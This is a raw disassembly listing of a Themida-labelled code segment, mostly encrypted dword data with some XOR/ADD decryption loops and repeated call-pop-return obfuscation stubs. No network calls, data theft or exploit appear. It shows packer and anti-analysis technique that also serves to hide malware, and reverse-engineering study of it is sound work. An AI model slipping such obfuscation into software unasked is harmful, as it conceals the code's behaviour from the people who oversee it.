593272C3h, 80FABF0Fh, 0BF0F04E1h, 0FC90AF9h, 19584h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0CAA0AA89h, 95897AF4h, 6A81631h, 0BE1858Bh dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0C8CE1FC3h, 98A9FF9Fh, 1D5D8533h, 6A06A8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 4A0F0EC3h, 0A3D43EBh, 23609799h, 0A8260185h, 1D858B06h dd 6106A82Bh, 505B5190h, 583CE0BFh, 6A9034h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2D994C3h dd 7B947681h, 17718589h, 8A0F06A8h, 6, 0CA62E381h, 6A45DDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6BC35343h dd 4E8h, 1F03FF00h, 5E900h, 0F8B50000h, 50A26B41h, 0DF8B5250h dd 860F310Fh, 2, 585A5B52h, 424448Bh, 8D7307BFh, 0F008B2Ah dd 8Ch, 24448900h, 58DF8B04h, 32F59529h, 95FF06A8h, 6A80741h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 13C35545h dd 15BD0B56h, 5F06A805h, 33F56057h, 0A815C1B5h, 895B6106h dd 0ABA22785h, 31BD3306h, 8106A814h, 19CB04DBh, 1CFE909h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 9FE53C3h, 1414D3ABh, 858BC6A7h, 6ABA21Fh dd 1F39B589h, 0C706A8h, 18h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 66C35242h, 0D3BAFB71h, 0BD2BB1F5h dd 6A805C1h, 8BD98B66h, 0ABA223B5h, 71BD8906h, 8B06A827h dd 0A82B7D85h, 0FB8B5706h, 8B06895Bh, 0A80BE185h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8A783A34h, 2BE37785h, 33BAB7EFh, 0A81999BDh, 4468906h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 36C35646h dd 0EC34C62Eh, 80456483h, 0F5018D3h, 387h, 0DF8B6600h dd 66243489h, 0FF5593BBh, 0ABA21FB5h, 0F8B70F06h, 0A890Fh dd 840F0000h, 4, 2826BF66h, 4A48EE68h, 0FE861h, 1E300000h dd 3C270157h, 0FD7DADC8h, 0A735F3DFh, 15830F81h, 0E8000000h dd 0Fh, 98DA62FEh, 9D3F39B9h, 7F8CBD73h, 5BD41E6Fh, 2434815Bh dd 61554B11h, 8DDFB70Fh, 0ABA22785h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 4BF87FBFh dd 8B60CB1Fh, 0A82EA98Dh, 31958906h, 6106A801h, 17870F90h dd 0E9000000h, 12h, 3724BD9Bh, 0BE0DC183h, 0C2FDBE24h dd 6B005FF2h, 6650DA33h, 6A90FA8Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DCF9C357h dd 939133D8h, 53789D62h, 0B63CF381h, 8B5B4836h, 4195FFF9h dd 8906A807h, 0A83199B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 61DCB0C3h, 22D99589h dd 85C706A8h, 6A80BBDh, 3, 83DFB70Fh, 0ABA227BDh, 840F0006h dd 0Dh, 0E519D8Bh, 1DE906A8h, 8B000000h, 0C3050DAh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h ; --------------------------------------------------------------------------- loc_59BC28: ; CODE XREF: Themida_:0059B780j ; Themida_:0059BC3Fj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_59BC28 jmp short loc_59BC5E ; --------------------------------------------------------------------------- loc_59BC43: ; CODE XREF: Themida_:0059B7ABj ; Themida_:0059BC5Aj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_59BC43 jmp short $+2 loc_59BC5E: ; CODE XREF: Themida_:0059BC41j mov eax, eax push 0 push ebp call sub_59BC6B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59BC6B proc near ; CODE XREF: Themida_:0059BC63p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_59BC6B endp ; --------------------------------------------------------------------------- db 0B4h dd 2F07453Dh, 0B70FCE51h, 57006AD9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 5E8F30Ah, 0F6000000h dd 0DE6040Bh, 0DA8913BFh, 81665F42h, 8368B6E3h, 0A80BBDBDh dd 850F0306h, 3CCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 9CC35343h, 0AF5C080Fh, 2915E54Dh, 0A81DA195h dd 39BF6606h, 27BD834Dh, 6ABA2h, 392840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0EAA87FC3h, 9D1CDE30h, 66D89D02h, 0B5FFDE8Bh, 6ABA227h dd 33ED9501h, 95FF06A8h, 6A815F9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 4CC35242h, 0B58BF9F9h, 6ABA21Bh dd 3451BD8Bh, 6C706A8h, 10001h, 22319D89h, 850906A8h, 6A8214Dh dd 24348950h, 1DE5B589h, 0B5FF06A8h, 6ABA227h, 0A859D8Bh dd 816606A8h, 0FF72DED3h, 0A8219995h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0D3816684h, 0B70F6CA0h, 1BB58BD8h, 0E806ABA2h, 14h dd 372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h dd 0E0E9F381h, 8B5B774Ch, 0A80E4185h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 47A7CBA1h, 1D651C46h, 0C48689h, 860F0000h, 6, 14C9BD8Bh dd 958B06A8h, 6A805B9h, 4C283F9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0A3C35040h, 814738AEh, 0C44CAE7h dd 25BD030Eh, 8906A815h, 6A2050h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 22B522C3h, 4CF594F8h dd 0CE8h, 39BEC800h, 1F562E46h, 0D9F26Ch, 0FEBF0F25h, 0CE858D5Bh dd 0F806ABB7h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 931DB6C3h, 59D89EEh dd 6A06A825h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0FB8101A9h, 0FF7B5B2Ah, 0ABA227B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 4B09DEE7h, 95FFB1FEh, 6A81E1Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h, 0B6E781C0h dd 0F61FBE0h, 6650F9BFh, 3489D88Bh, 0EF805224h, 0B5FF5FD0h dd 6ABA227h, 95FFDA8Bh, 6A82A69h, 8E59D8Bh, 0BD8306A8h dd 6A82E3Dh, 1C840F00h, 60000000h, 26918D8Bh, 0BB6606A8h dd 9661238Fh, 0AA16F6BBh, 0FE8A504Eh, 0C0CF8196h, 0FF150AD3h dd 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0CCD7D5h, 0C3815E5Eh dd 13EEB5A2h, 95FF00B7h, 6A83185h, 13E9h, 7E37B900h, 0F6E2AD37h dd 2B50245h, 0A58A98C5h, 0E2E5C804h, 0A227B5FFh, 0BD2906ABh dd 6A82685h, 0F5595FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0C835AAC3h, 0F9F8FD2Ch dd 77DBD83h, 0F0206A8h, 5784h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5EFFDEA5h dd 8BE4A903h, 0A80D1985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C6CEF54Eh dd 0F82122D4h, 0C6F8208Dh, 9D8B0000h, 6A81FA5h, 0DC185C7h dd 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 166FE7C3h, 9D8B3DC7h, 6A81B19h dd 0FFF3CFE9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 4C45E053h, 0E92C067Ch dd 0Dh, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh, 6AC18B1Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 7806C355h, 0A41EBF46h, 6810FC9h, 8B000000h dd 0A807F1BDh, 1D9D8906h, 8D06A82Bh, 0A8338585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BE8B041h, 8B000000h, 188A0DD5h, 46FC4B57h, 8F0F62CBh dd 3, 5BDFBF0Fh, 8B665350h, 4895BDAh, 56006A24h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 8E0D11C7h, 2B4FBF76h, 6A3C35h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 4C35545h, 9D8B006Ah, 6A81B91h dd 290A858Dh, 6A06ADh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 98F92EC3h, 8BCCDB8Eh, 0A801E9BDh dd 83DA8B06h, 0D98A05C0h, 0E157BB50h, 4896721h, 9BD8B24h dd 8B06A81Ch, 6A006AD9h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 8433C356h, 89802478h dd 0ED00D187h, 74CF8166h, 6A006A0Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 1035C357h dd 4D9D2367h, 0E906A833h, 0Ch, 0D9D2B841h, 9F301120h, 0F623B197h dd 254195FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 7DBFFBC3h, 55BBC47h, 8D8DEB8Dh dd 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 1BC35747h, 0A37B462Ch, 4F7A44F6h, 9D29D1FFh, 6A817B1h dd 339DBD83h, 0F0106A8h, 7685h, 56BB6600h, 66026AB6h, 0E9C13DBBh dd 0Ah, 0FC6CB1Ah, 95DF8F92h, 60506940h, 6AA2EDB9h, 0F78B6640h dd 24048961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 1DC35545h, 0D9FC7465h, 587C7E5Ah, 95FFFE8Bh, 6A81E1Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h dd 719589F5h, 0E906A82Ah, 0E61h, 0E8h, 0ED815D00h, 6AD2914h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h dd 0EE801345h, 15830Fh, 10E90000h, 8C000000h, 0F82A467Dh dd 2B4E014Ch, 69E27EE8h, 0F1CFFACh, 858DF9BFh, 6AB7E2Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C1C35141h dd 9FA94C80h, 0CF9BD8Bh, 895006A8h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0D00CCAC3h dd 4FFB044Eh, 64FA8B66h, 35FFh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4D7A52C3h dd 7E902h, 0DFFC0000h, 94E22BF8h, 298D89B7h, 6406A811h dd 2589h, 0B70F0000h, 0F185FFFFh, 8106A833h, 2B2816CFh dd 6AFF6A45h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 80BEC356h, 867A65A3h, 51DBD03h dd 0B5FF06A8h, 6A83509h, 739BD89h, 95FF06A8h, 6A82A7Dh dd 140E9h, 6E800h, 5BA20000h, 0D7EEA373h, 2691BD8Bh, 0B05F06A8h dd 919D8B00h, 0E606A819h, 91852970h, 0E406A822h, 68A0F71h dd 89000000h, 0A8211D85h, 0F613C06h dd 10883h, 398D8900h, 0F06A801h, 3EBFC8B6h, 0BA0752B4h dd 6, 0BE857h, 0EB940000h, 78D6925h, 4C1943A7h, 0EE9F0h dd 0AF0F0000h, 2CD1FBC6h, 0FBC3C234h, 94835C3Ch, 0C18B5F5Fh dd 2304E8C1h, 0A828799Dh, 5FFC5306h, 0FE2F766h, 0C82BFAB7h dd 68A0Fh, 9D8B0000h, 6A833D5h, 0CB81D18Bh, 23370C1Eh dd 0A0E9h, 31BD8B00h, 8B06A80Dh, 47554C85h, 800F5349h dd 6, 21E5B589h, 665B06A8h, 7F14D781h, 8B07C083h, 0A82C51BDh dd 0C08306h, 9B7BBF66h, 830FD03Bh, 31h, 12E8h, 0EDFA200h dd 9563D742h, 0F8EA206Ch, 9151A88Ch, 0E8B0EB81h, 7, 0AE80D3D7h dd 0F8487ADFh, 3EE95F5Bh, 8B000000h, 0A8015DBDh, 0FF8D8B06h dd 0FFFFFFFh, 0E183DFBFh, 26840F01h, 29000000h, 0A81499B5h dd 0FFA58306h, 0FEFFFFFFh, 66FEBF0Fh, 0F5B3F781h, 554C9589h dd 9D8B4947h, 6A806C1h, 0E9h, 0E9B58D00h, 6A06ACA5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 6A60C353h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 2CBF24C5h, 6660862Ah, 609D2FBBh dd 0C2816656h, 0BB5AA74Fh, 196F470h, 3195FF61h, 6006A81Bh dd 5F02F181h, 880F0F5Bh, 0 ; --------------------------------------------------------------------------- popa mov ecx, 0EB6h or [ebp+6A81D71h], edx and ecx, 0FFFFFFFCh push 0 push edx call sub_59C60E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C60E proc near ; CODE XREF: Themida_:0059C606p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_59C60E endp ; --------------------------------------------------------------------------- dw 0F7FBh dd 0C87D4656h, 0BF1B5AE4h, 495399EBh, 0A5BD8B60h, 6106A81Fh dd 8D8D89FCh, 2B06A828h, 0FE9C0h, 6CF90000h, 6897104h dd 8964C7D7h, 6D66F2D3h, 6AD22B42h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CEE0C356h dd 0E7226ACBh, 817E6B9Dh, 83EB28E3h, 0C233AD5Bh, 0D003E8D1h dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 45B81A70h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0A7C35747h, 0DF3E37F9h, 8B56E9CAh dd 0A800E1BDh, 880DF506h, 66000000h, 0F2D57BBh, 0E82h dd 9E900h, 3E400000h, 7BB65912h, 8BC4B8B3h, 0A805B995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0FA201C93h, 0BD8BCDE2h, 6A810F5h, 14698D8Bh dd 8B6606A8h, 0C28B50DEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0F66AC350h, 2005BD8Bh, 6A06A8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F5678C3h, 584h, 0F248BF00h, 835F6815h, 0A80C91BDh dd 840F0006h, 84h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 7BC35646h, 5C3058ECh, 0B3CF8137h, 0B833D2BEh dd 0 ; --------------------------------------------------------------------------- mov edi, [ebp+6A816EDh] lea ecx, [ebp+6A84FAFh] push 0 push ebx call sub_59C7D3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C7D3 proc near ; CODE XREF: Themida_:0059C7CBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_59C7D3 endp ; --------------------------------------------------------------------------- align 4 movsd add dl, [ebp-13h] pusha mov [ebp+6A8168Dh], esi jmp ecx ; --------------------------------------------------------------------------- push 0 push edx call sub_59C7FC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C7FC proc near ; CODE XREF: Themida_:0059C7F4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_59C7FC endp ; --------------------------------------------------------------------------- dd 0BBACEC2Fh, 35590DDDh, 0BBDBD83h, 0F0006A8h, 4AE84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0B0BBB57h, 81496E3Bh, 0F3F135CFh, 0BFDE8A5Ch dd 6D1260C8h, 0BBDBD83h, 0F0106A8h, 48D84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F1CF19Fh, 0F85h, 0AE900h, 7BC00000h, 40CBAC55h, 91721D8Fh dd 0F817DB81h, 60522733h, 0D5EBC781h, 5E5133EAh, 0BD835F61h dd 6A80BBDh, 5860F03h, 81000004h, 0B209D2F7h, 6A6038h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 358500C3h, 69B4A899h, 0EB01BBDEh, 8C6666E1h, 51006AD9h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 68AF9117h, 81AF0083h, 509F1FC7h, 8E932h, 505A0000h dd 3D7627Dh, 0E180F870h, 0C90AF904h, 193840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 858B40C3h, 6A80BE1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 9AC35141h, 0E9608F27h, 5, 0F7712A29h dd 9DB531FCh, 6106A80Ah, 1D5D8533h, 6A06A8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0FC63F0C3h dd 23205BEh, 33F99589h, 8A9006A8h, 0BB6650FCh, 0E890015Dh dd 0Eh, 0E6B4FFD4h, 0DC26287Dh, 547AA39Fh, 9D296714h, 6A80F8Dh dd 6A006A5Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4F29C355h, 12A63857h, 0F30C3B51h dd 1EDD9D89h, 852906A8h, 6A819C5h, 4E8h, 1F03FF00h, 0EE95000h dd 15000000h, 158BB6A9h, 1BE08953h, 8372A7D0h, 24448BD2h dd 0FB8B6604h, 0D98B008Bh, 4244489h, 14E9h, 0B1382800h dd 728ADFFEh, 92B23FE8h, 92685834h, 0E5334C02h, 0BE858FBh dd 18000000h, 7B163B93h, 0E8ACA4D3h, 0BD2B84E9h, 6A82BD9h dd 4195FF5Bh, 8906A807h, 0A8289995h, 27858906h, 6A06ABA2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8171C350h, 0A54CC3C7h, 1CBE97Ah, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 24D470C3h, 813653ECh, 58D7E5CFh, 1F858B41h, 6A06ABA2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 7749C352h, 0D78132F7h, 5E4C0EC3h, 1800C7h dd 85890000h, 6A833E1h, 0A223B58Bh, 858906ABh, 6A81755h dd 2B7D858Bh, 0DE906A8h, 6B000000h, 152925ABh, 0B1077759h dd 0E13C8EB3h, 689DC8Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0F0C35141h, 5928F6EFh, 0BFADB8Ch, 0CAE0D781h dd 0B70F1D8Ch, 0E1858BDBh, 6606A80Bh, 0ACE2DB81h, 89044689h dd 0A82DC58Dh, 880F5006h, 3, 89D98B66h, 6A2434h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0DB79B2C3h, 5899D01h, 0B5FF06A8h, 6ABA21Fh, 688FDF80h dd 676BBDAEh, 5FF98B52h, 51243481h, 0F6774BEh, 88h, 27858D00h dd 6A06ABA2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 7964C356h, 9AFF3A95h, 0FE9547Ch dd 89000000h, 0C4E8E129h, 1571B8B6h, 0D48AD1B1h, 0E950F936h dd 14h, 0EDD4375Fh, 0D128BEA9h, 0AF216343h, 9193CE38h dd 93DE7173h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0F7C0C353h, 66562105h dd 2CCDEF81h, 4195FF5Fh, 6A06A807h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7B53C356h dd 6C41937Eh, 0CA57412Ch, 9D98B66h, 0A826799Dh, 0BD8B6106h dd 6A80C3Dh, 0BBD85C7h, 306A8h, 830F0000h, 4, 41E5BB66h dd 0A227BD83h, 0F0006ABh, 3384h, 0F19D8B00h, 0E906A821h dd 43h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh dd 1EC35646h, 0C4B9ADECh, 8B166131h, 0F9BF0FF9h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 6BA4C350h, 2890F07h, 0B7000000h, 199D8BA4h, 8306A830h dd 0A80BBDBDh, 850F0306h, 409h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0D4C35343h, 27BD83D9h, 6ABA2h dd 3DF840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 1BE467C3h, 8A922084h, 12E8h, 4B14C800h dd 15A2C39Bh, 8EC7D1E4h, 92D253A8h, 510F5514h, 0C1CF8166h dd 0FF5F5FABh, 0ABA227B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F0A57E35h dd 0FFEB1E9Ch, 0A815F995h, 10E906h, 64BD0000h, 0F723400Fh dd 819643EEh, 7F0C6782h, 8BF54FEFh, 0ABA21BB5h, 106C706h dd 6A000100h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0DE1FC357h, 19EE0DF1h, 6840F41h dd 9000000h, 0A80A8585h, 0CE95006h, 69000000h, 0D45E569Fh dd 7E4356BAh, 899CCEABh, 95892434h, 6A827D1h, 19F19D0Bh dd 0B5FF06A8h, 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0BDC35040h, 95FFD9BBh, 6A82199h, 3391B529h dd 0B58B06A8h, 6ABA21Bh, 26BD9D8Bh, 858B06A8h, 6A80E41h dd 0C48689F9h, 89000000h, 0A80BD9BDh, 0B9958B06h, 0F06A805h dd 9D03FAB7h, 6A82671h, 8B04C283h, 205089FAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7AC35242h, 0A587DD50h dd 898F293Fh, 0A80BCD8Dh, 0CE858D06h, 6A06ABB7h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0BAA4C355h, 1A299D2Bh, 0B70F06A8h, 0B88689DEh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 544FC350h, 5AC781EBh, 6A5BFFBDh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0DCF5A4FAh, 27B5FF34h, 6A06ABA2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2346C352h dd 0A80F719Dh, 1D95FF06h, 8906A81Eh, 0A8321985h, 34895006h dd 13E824h, 0C2D50000h, 0E991C95Ah, 0DED5A203h, 1F4CAE2Fh dd 0BFBDCCC2h, 0FBBF0F0Fh, 27B5FF5Bh, 6A06ABA2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 3326C353h, 0A81DB1BDh, 6995FF06h, 6606A82Ah, 0BD83DA8Bh dd 6A82E3Dh, 48840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B07C352h dd 0A81019BDh, 60509606h, 51BA6656h dd 0F605959h, 87h, 61EFB200h, 0CE99661h, 0BF000000h, 27149489h dd 0A7AE9819h, 0FF8FAEF0h, 0ABA227B5h, 54C78106h, 815A1A86h dd 2373CCD7h, 8595FF27h, 6A06A831h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2CB7C350h dd 68CC3FE2h, 898C3536h, 0A82075BDh, 27B5FF06h, 6A06ABA2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0C0AAC355h, 2089B589h, 8B6606A8h, 5595FFFEh dd 6606A80Fh, 24A2DB81h, 77DBD83h, 0F0206A8h, 6984h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 39A48E8Bh, 8BDAB70Fh, 0A80D1985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 97BBC302h dd 0C6F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 31C35141h, 85C7B5B1h, 6A80DC1h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_59D12F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D12F proc near ; CODE XREF: Themida_:0059D127p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_59D12F endp ; --------------------------------------------------------------------------- db 0E3h dd 6D62C3DBh, 9E75C9C6h, 0F2BBE9D0h, 830FFFFFh, 3, 8BFB8B66h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 9BB0D6Ch, 5F5FD72Eh, 0D8D8D57h, 6A06AD38h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 538BC351h, 0C6F680A7h, 5B98D89h, 0C7FC06A8h dd 0A8146985h, 5B0006h, 20DC8000h, 16ADBD8Bh, 85C706A8h dd 6A80BBDh, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+6A83055h] push dword ptr [ebp+6A814A1h] jmp loc_59D1E3 ; --------------------------------------------------------------------------- db 0ADh, 68h, 91h dd 0D9700A7Ah ; --------------------------------------------------------------------------- mov dh, 0FBh popa loc_59D1E3: ; CODE XREF: Themida_:0059D1D4j mov esi, 59F673E0h call dword ptr [ebp+6A820DDh] push 0 push edx call sub_59D1F9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D1F9 proc near ; CODE XREF: Themida_:0059D1F1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_59D1F9 endp ; --------------------------------------------------------------------------- db 93h, 0B5h, 9 dd 0A5BBF250h, 6A5E65EFh, 3195FF00h, 8B06A81Bh, 8329EBC0h dd 20D3F7EEh, 4BA37E0Bh, 3416098h, 7AB98BBAh, 0B7DC3E62h dd 0F3AAFA18h, 1E8A6316h, 6ADDC589h, 726728C4h, 2AF47A43h dd 39378D8Dh, 9FC06ADh, 0A8066D95h, 0B98D8906h, 6A06A805h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 59BEC350h, 0BE68354Ah, 6B5EAD68h, 146985C7h dd 6B3C06A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 96B6AAC3h, 66507D1Eh, 0C7CC14BFh dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0F916D990h, 818E5E70h dd 0EFAAA8EAh, 899D3136h, 0FF06A819h, 0A80E01B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 3D36E0CEh, 0CCBE655Fh, 894BF480h, 0A814B5B5h, 0DD95FF06h dd 6A06A820h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0C845C356h, 0FF006A5Ch, 0A81B3195h dd 0EBC08B06h, 